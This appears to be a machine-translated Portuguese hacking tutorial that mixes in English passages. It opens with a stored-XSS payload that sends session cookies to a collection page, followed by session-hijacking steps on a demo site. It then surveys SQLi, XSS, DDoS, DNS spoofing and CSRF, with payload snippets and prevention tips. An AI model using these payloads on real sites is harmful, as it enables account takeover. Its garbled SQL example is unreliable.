SL- 307

Como hackear um site: Guia passo a passo de hacking de sites

O que vem à sua mente quando você imagina um hacker? Talvez um criminoso encapuzado, roubando informações com conhecimentos de informática super-espertos. A verdade é que não foi tão difícil para aquele hacker aprender a hackear um site. E nem todo hacking de site é criminoso!

Algumas empresas contratam hackers para testar a segurança de seus computadores, como bancos, lojas de varejo e agências governamentais.

Se você está interessado em hackear páginas da Web, você está no lugar certo. Hoje vamos percorrer as etapas sobre como hackear um site e apresentá-lo a diferentes tipos de ataques cibernéticos e métodos de prevenção.

Vamos começar!

Como hackear um site passo-a-passo: diferentes maneiras de hackear um site

Existem várias maneiras de um hacker realizar a invasão de sites. Tudo o que ele precisa é encontrar o ponto vulnerável dentro do site para entrar e ter acesso às informações cruciais. Neste artigo, mencionamos alguns dos truques incríveis que você pode executar para hackear um site.

1. Hackeando o site on-line

O primeiro método de como hackear um site e alterá-lo é hackeando um site online. Vamos hackear “www.techpanda.org” como um exemplo para demonstrar as etapas para hackear páginas da Web. Nesse cenário, leremos o ID da sessão do cookie e representaremos uma sessão de usuário para obter informações de administrador.

Através da ajuda do SQL Injection to Bypass Authentication Method, podemos obter acesso às credenciais de login. Em seguida, siga estes passos:

  • Vá para http://www.techpanda.org/.
  • O e-mail de login é admin@xyz.com e a senha é Password2020.
  • Você obterá o painel abaixo mostrado na imagem, depois de fazer login.

painel

  • Selecione Adicionar novo contato.
  • Digite o seguinte no campo de nome.

<a href=# onclick=”document.location=’http://techpanda.org/snatch_sess_id.php?c=’+escape(document.cookie);“>Dark</a>

É o código JavaScript adicionando um hiperlink com um evento ao clicar. Ao clicar nele, o evento recupera o ID da sessão do cookie PHP e o envia para a página snatch_sess_id.php junto com o ID da sessão na URL.

painel

  • Insira as outras informações e clique em salvar.

painel

  • Você receberá uma nova entrada como mostrado abaixo.

How to hack a Website

  • O código de script entre sites é armazenado no banco de dados e será carregado toda vez que os usuários com direitos de acesso fizerem login.
  • Sempre que o administrador clicar na entrada Escuro, ele receberá a janela com o ID da sessão exibido na URL.

How to hack a Website

2. Session Impersonation

To perform this attack, you must use a tamper data add-on. Tamper data is a commonly used extension in Firefox. You can tamper with the data sent between the client and the server, and access to GET and POSTING element data. We have specified how to install a tamper data add-on below with detailed steps.

  • You need Firefox and tamper data add-on.
  • Open Firefox to install the tamper data add-on, as shown below in the image.

dashboard

  • Procure os dados de violação e instale conforme a imagem abaixo.

dashboard

  • Agora, clique em aceitar e instalar.

  • Após a instalação, você receberá o botão reiniciar agora, conforme mostrado abaixo.

  • Agora vá para a barra de menus no navegador Firefox, como mostrado abaixo.

  • Vá para ferramentas e selecione Dados de violação

  • Clique em iniciar, você receberá a janela abaixo.

  • Você receberá a janela abaixo.

  • Agora, copie o PHPSESSID da URL de ataque e cole-o no campo de cookie e clique em ok como mostrado acima.
  • Você vai chegar abaixo da janela.

  • Desmarque a opção continuar e envie.
  • Você obterá o painel abaixo.

Diferentes tipos de ataques cibernéticos

Infelizmente, existem algumas maneiras diferentes pelas quais os hackers podem entrar no ciberespaço de uma empresa. Aqui estão alguns exemplos de diferentes ataques cibernéticos.

1.SQL Ataque de injeção

Um ataque de injeção de SQL envolve um hacker fornecendo uma consulta SQL mal-intencionada a um aplicativo. A consulta dá ao hacker acesso para ler informações cruciais do banco de dados e até mesmo executar comandos não autorizados, resultando em perda e comprometimento de dados críticos.

Esse tipo de ataque cibernético dá aos hackers o poder de falsificar identidade, alterar dados, causar fraudes e prejudicar a reputação da empresa. Esses ataques são generalizados com os aplicativos PHP e ASP porque eles têm interfaces antigas. A gravidade do ataque de injeção depende de quão habilidoso o hacker é. Se o site não estiver protegido com medidas de segurança adequadas, ele pode ser facilmente explorado.

Diferentes tipos de ataques de injeção de SQL

O ataque foi dividido em três categorias, dependendo de como eles acessam os dados e os danificam. São eles: SQLi em banda (clássico), SQLi inferencial (cego) e SQLi fora de banda.

  • SQLi em banda: É possível se o SQL usado for muito simples de hackear. Sob esse tipo de ataque de injeção de SQL, o hacker usa o mesmo canal dentro da rede para iniciar o ataque e obter os dados. Ele vem em duas variantes diferentes mencionadas abaixo.
  • SQLi baseado em erro: O banco de dados produz mensagens de erro devido às ações do invasor. Dependendo do resultado, o invasor pode ter uma ideia da estrutura do banco de dados para esse aplicativo específico.
  • SQLi baseado em União: Essa técnica funciona em um operador SQL UNION incorporando várias instruções select e convertendo-as em uma única resposta HTTP contendo as informações necessárias sobre o aplicativo.
  • SQLi inferencial (cego): Sob este ataque, o hacker enviará uma enorme quantidade de dados para o servidor para observar a resposta e o comportamento do servidor. Dessa forma, o atacante analisará as informações sobre sua estrutura. Aqui, o invasor não verá os dados reais, pois eles não são transferidos do banco de dados do site de volta para o invasor. Esse ataque retardará o processo do servidor. As injeções cegas de SQL vêm em duas variantes da seguinte maneira:
  • Booleano: Uma consulta SQL é enviada ao banco de dados e o invasor analisa a saída da consulta, se ela é verdadeira ou falsa. Além disso, os dados na resposta HTTP serão alterados de acordo.
  • Baseado no tempo: Essa consulta faz com que o banco de dados aguarde alguns segundos antes de reagir. O invasor analisa o tempo necessário para responder a essa consulta. Ele criará a resposta HTTP com base no tempo tomado. O invasor pode assumir o resultado sem entrar no banco de dados real.
  • SQLi fora de banda: Esse ataque só pode ocorrer se alguns recursos estiverem habilitados no servidor de banco de dados. Depende da capacidade do servidor de criar solicitações DNS ou HTTP para transferência de dados para o invasor. Se algum método não fornecer o resultado esperado pelo atacante, eles vão para esta técnica.

Como funciona a injeção de SQL?

O invasor pode escolher a seguinte maneira de implementar um ataque de injeção de SQL. O invasor pode escolher qualquer uma das seguintes maneiras.

  • Injetando consultas SQL no campo de entrada do usuário: aqui, o hacker insere consultas SQL no campo de entrada do usuário e as passa para o banco de dados para processá-las. Se o banco de dados aceitar a entrada sem higienizá-los, o invasor poderá fazer a ação que quiser.
  • Injetando consultas SQL por meio de cookies: O invasor tenta obter dados dos cookies armazenados, então eles colocam malware no dispositivo para modificar os dados dos cookies e injetar a consulta lá para obter acesso ao banco de dados.
  • Injetando consultas SQL por meio de cabeçalhos HTTP: o invasor pode injetar a consulta no cabeçalho HTTP se o aplicativo receber a entrada dos cabeçalhos e obter acesso ao banco de dados.

Impacto da injeção de SQL

  • Ignorando a autenticação e representando o outro usuário para obter acesso ao banco de dados.
  • Exfiltrar/roubar dados para usá-los em seu próprio bem.
  • Modificar dados cruciais para causar fraude.
  • A exclusão de dados prejudica a reputação.
  • Executando código arbitrário por diversão.
  • Obtendo acesso root ao próprio sistema e executando SQLs.

Exemplo

Primeiro, o invasor encontrará vulnerabilidades e, em seguida, injetará a consulta SQL. De acordo com o exemplo a seguir, o invasor obtém as informações necessárias para um produto específico, que podem ser alteradas para ler http://www.estore.com/product/product.asp?productid=999 ou 1=1. Isso enviará a consulta abaixo para o banco de dados-

SELECT ProductName,ProductDescription
FROM Product
WHERE ProductNumber = 999OR1=1

Devido à condição 1=1, a declaração será sempre verdadeira e retornará todos os detalhes do produto.

Como evitar esse ataque?

You can prevent this attack by sanitizing the inputs to identify the unauthorized users to access the crucial data.

2. Cross-Site Scripting Attack

Com esse ataque, um hacker se passa pela vítima para obter dados da vítima. Esses ataques também são conhecidos como XSS e comprometem a interação do usuário com um aplicativo. Sob esse ataque, o invasor cria o mesmo ambiente que mantém diferentes sites distintos. Se o invasor obtiver acesso privilegiado ao aplicativo específico, ele poderá danificar os dados cruciais armazenados no aplicativo.

O ataque começa com o acesso da vítima ao aplicativo ou à página da web. O invasor executa o código JavaScript mal-intencionado no navegador da Web da vítima. A página web funciona como um veículo para entregar o código injetado uma vez que o usuário acessa uma página web. Alguns exemplos onde o invasor pode injetar o código na página da Web são: fóruns, comentários, etc.

Impacto de ataques de script entre sites

A seguir estão alguns impactos para o usuário:

  • Exfiltrar/roubar dados para usá-los em seu próprio bem.
  • Modificar dados cruciais para causar fraude.
  • A exclusão de dados prejudica a reputação.
  • Executando código arbitrário por diversão.

Como evitar ataques de script entre sites

Certifique-se de implementar as estratégias abaixo para evitar que esse ataque ocorra.

  • Verifique se o formulário do aplicativo filtra as entradas fornecidas pelo usuário.
  • Sempre codifique os dados de saída que garantem a segurança.
  • Certifique-se de usar cabeçalhos de resposta apropriados.
  • Além disso, implemente uma diretiva de segurança relacionada ao conteúdo.

Diferentes tipos de XSS

Existem três tipos diferentes de ataques disponíveis.

  • Ataque de script entre sites refletido

Esse tipo de ataque é simples de criar. O invasor fornece o código na solicitação HTTP do aplicativo e obtém os dados por meio da resposta imediata.

Por exemplo:

https://xyz-website.com/status?message=<script>/*+malicioud code…+*/</script><p>Status: <script>/* código malicioso… */</script></p>

Sempre que o usuário clicar em solicitações HTTP de aplicativos e entrar na URL acima, o script injetado será executado no navegador da Web. O script pode obter as informações necessárias, excluir dados, etc.

  • Scripts entre sites armazenados

Nesse ataque, um aplicativo pode receber os dados de uma fonte não confiável e incluir esses dados nas respostas HTTP para o servidor processar.

Os dados podem ser injetados no aplicativo por meio de solicitações HTTP. Por exemplo, comentários, detalhes de contato em um pedido do cliente, etc.

Por exemplo:

A seção de comentários do aplicativo permite que os usuários enviem mensagens conforme abaixo.

<p>Hello, data</p>

O invasor pode facilmente enviar uma mensagem que pode até prejudicar outros usuários que podem acessar a mensagem a partir da seção de comentários.

<p><script>/* malicious code... */</script></p>
  • Script entre sites baseado em DOM

Esse ataque ocorre quando o aplicativo tem JavaScript do lado do cliente processando os dados de uma fonte não confiável e gravando os dados de volta no DOM.

No exemplo mencionado abaixo, o código JavaScript lê o valor de um campo de entrada e fornece o valor fornecido para o elemento HTML, conforme mostrado abaixo.

var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;

Se o invasor controlar o valor do campo de entrada, ele poderá inserir um valor mal-intencionado para executar:

Pesquisou por:

<img src=1 onerror='/* malicious code... */'>

3. Ataque de negação de serviço (DDoS/DoS)

Um ataque distribuído de negação de serviço (DDoS) afeta o tráfego regular de um servidor de destino, transbordando o alvo com várias solicitações. Eles geralmente são realizados dentro de redes de dispositivos conectados que estão infectados com malware e são controlados remotamente por um invasor. Esses dispositivos individuais são chamados de bots para os quais um invasor enviará instruções remotas para executar. Quando um bot tem como alvo o servidor, ele envia uma solicitação para o endereço IP do destino e sobrecarrega o servidor, resultando em danos graves.

Diferentes tipos de ataque DDoS

A seguir estão os diferentes tipos de ataques DDoS que são comumente praticados por invasores.

  • Ataque de conexão TCP: Esse ataque ocupará todas as suas conexões, como balanceadores de carga, firewall, servidores de aplicativos, resultando em atraso no processamento da solicitação real.
  • Ataque Volumétrico: Destina-se à largura de banda do aplicativo dentro da rede de destino ou entre a rede de destino e a Internet para causar congestionamento.
  • Ataques de fragmentação: Isso sobrecarrega os fragmentos TCP ou UDP para os fluxos de uma vítima, reduzindo o desempenho.
  • Ataques de aplicativos: Sobrecarrega o aspecto de um aplicativo específico e resulta na geração de uma baixa taxa de tráfego.
  • Reflexão de DNS: O invasor forja o IP da vítima, envia uma pequena solicitação ao servidor DNS e envia uma resposta extensa ao usuário.

Impacto dos ataques DDoS

Abaixo está o impacto que pode ser visto dentro do servidor e das máquinas.

  • O aumento desnecessário no tráfego de um endereço IP específico.
  • Aumento inesperado no tráfego do grupo específico de usuários com o mesmo perfil comportamental, como tipo de dispositivo, geolocalização, etc.
  • Às vezes, há um aumento nas solicitações enviadas para uma única página ou ponto de extremidade.
  • O tráfego aumenta em horas estranhas do dia.

Como evitar ataques DDoS

Abaixo estão alguns métodos para evitar ataques DDoS.

  • Limite a taxa do roteador do seu servidor Web.
  • Adicione filtros apropriados ao seu roteador para evitar a entrada de pacotes de fontes duvidosas.
  • Defina tempos limite forçados nas conexões.
  • Use firewalls fortes contra ataques DDoS.
  • Use software de mitigação de DDoS de terceiros de fornecedores como Akamai, Cloudflare, VeriSign, Arbor Networks, etc.

Hacking de sites / Testes de penetração

4. Ataque de falsificação de DNS

O envenenamento e a falsificação do Sistema de Nomes de Domínio (DNS) exploram principalmente as vulnerabilidades do servidor DNS e desviam o tráfego de servidores válidos para falsos. Caso a vítima tenha acessado uma página fraudulenta, ela será transferida para outro site que cause danos ao seu sistema. O principal impacto desse ataque é o roubo de dados.

Para executar esse ataque, um cliente solicita um endereço IP do servidor DNS. Em seguida, eles recebem uma resposta contendo um endereço IP falso sem uma conexão estabelecida com o endereço solicitado pelo cliente. Assim, a solicitação vai para um host mal-intencionado e o host retorna o site legítimo para o cliente sem um certificado de segurança.

Diferentes tipos de ataque de falsificação de DNS

Abaixo estão os diferentes tipos de ataques de falsificação de DNS.

  • Ataque ao roteador local

Sob esse ataque, o invasor altera os dados e adiciona código mal-intencionado ao dispositivo local. A vítima não sabe dizer a diferença ou se houve algum comprometimento em seu sistema. No entanto, endereços IP incorretos serão retornados para os nomes de host solicitados. O ataque persistirá até que a adulteração seja corrigida. Por exemplo, alterar detalhes do servidor DNS, adulterar o arquivo host no sistema local, sequestrar o roteador local, etc.

  • Ataque de resposta do servidor DNS

Também conhecido como ataque man-in-the-middle, em que o atacante finge ser uma vítima e envia uma resposta maliciosa. Esse ataque é possível porque o tráfego DNS usa o protocolo de datagrama de usuário não criptografado, portanto, não há como verificar a autenticidade da resposta DNS.

  • Um servidor DNS

Esse tipo de ataque de falsificação de DNS tem como alvo um servidor DNS válido e afeta muitos usuários. Por exemplo, envenenar o cache DNS no servidor, highjacking do servidor DNS, etc.

Como evitar ataques de falsificação de DNS

Abaixo estão as maneiras de evitar o ataque DNS Spoofing-

  • Limite as consultas recursivas e proteja-se contra possíveis ataques de envenenamento.
  • Armazene dados relacionados somente ao domínio solicitado.
  • Restrinja as respostas a serem apenas sobre o domínio solicitado.
  • Forçar os clientes a usar HTTPS.

5. Ataque de falsificação de solicitação entre sites

Cross-Site Request Forgery (CSRF) ataca a vítima e executa algumas ações indesejadas conforme esperado pelo invasor em um aplicativo Web sem acesso autorizado. O agressor engana a vítima para executar algumas ações ilegais escolhidas pelo agressor.

Se no caso, a vítima é um usuário regular; O invasor só pode executar ações como transferir fundos, alterar seu endereço de e-mail e assim por diante. O CSRF pode afetar todo o aplicativo Web se a vítima tiver acesso administrativo.

Os principais impactos são a mudança de estado do servidor, vazamento de dados e transferência ilegal de fundos.

How Cross-site Request Forgery Attacks Work

When a victim tries to access a website, the browser automatically picks their credentials from the saved cookies to make the login process seamless. Once users pass their login credentials, the site cannot differentiate between forged and legitimate requests. In such cases, attackers can easily impersonate the victim. Attackers typically follow this process:

  • The attacker uses social engineering methods to influence the victim to click a malicious code link.
  • That link will trigger a request to the targeted site.
  • The request is expected to come from the user with the same credentials and leverage the saved data to sign in to the website.
  • The website responds to the incoming request and carries out the attacker’s requested action.

Example of Cross-site Request Forgery Attack

Here’s an example of how a simple GET request for a $5,000 bank transfer works:

GET https://abank.com/transfer.do?account=RandPerson&amount=$5000 HTTP/1.1
  • An attacker can alter the script to transfer an amount of $5,000 to their account, using the following code:
GET https://abank.com/transfer.do?account=SomeAttacker&amount=$5000 HTTP/1.1

Como evitar ataques de falsificação de solicitação entre sites

A seguir estão as práticas recomendadas para evitar esse ataque:

  • Certifique-se de sempre sair dos aplicativos Web conectados quando não estiverem em uso.
  • Use nomes de usuário e senhas fortes para evitar falsificações.
  • Tente não acessar navegadores paralelos para fazer trabalhos críticos.

Conclusão

Apenas mencionamos os ataques mais comuns em um site simples onde a segurança não foi mantida. Hoje, a tecnologia está ficando tão avançada que ajuda os invasores a obter o que querem. Tudo o que eles precisam é do uso adequado da comunicação dentro da rede. Cada organização e site tem suas políticas de segurança exclusivas e algumas estratégias robustas. Mas alguns hackers podem invadir seu sistema e criar um erro.

Se você quiser evitar esses ataques ao seu site para proteger sua integridade, então você deve entender como um site pode ser hackeado e quais medidas podem ser implementadas para evitá-los. Passe por este artigo, encontre os pontos de ameaça potenciais para o seu site e elimine as ameaças.

Interessado em saber mais sobre segurança de sites? Confira estes tutoriais de segurança da informação e hacking ético.

Mostrar mais

Artigos relacionados

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

Botão Voltar ao topo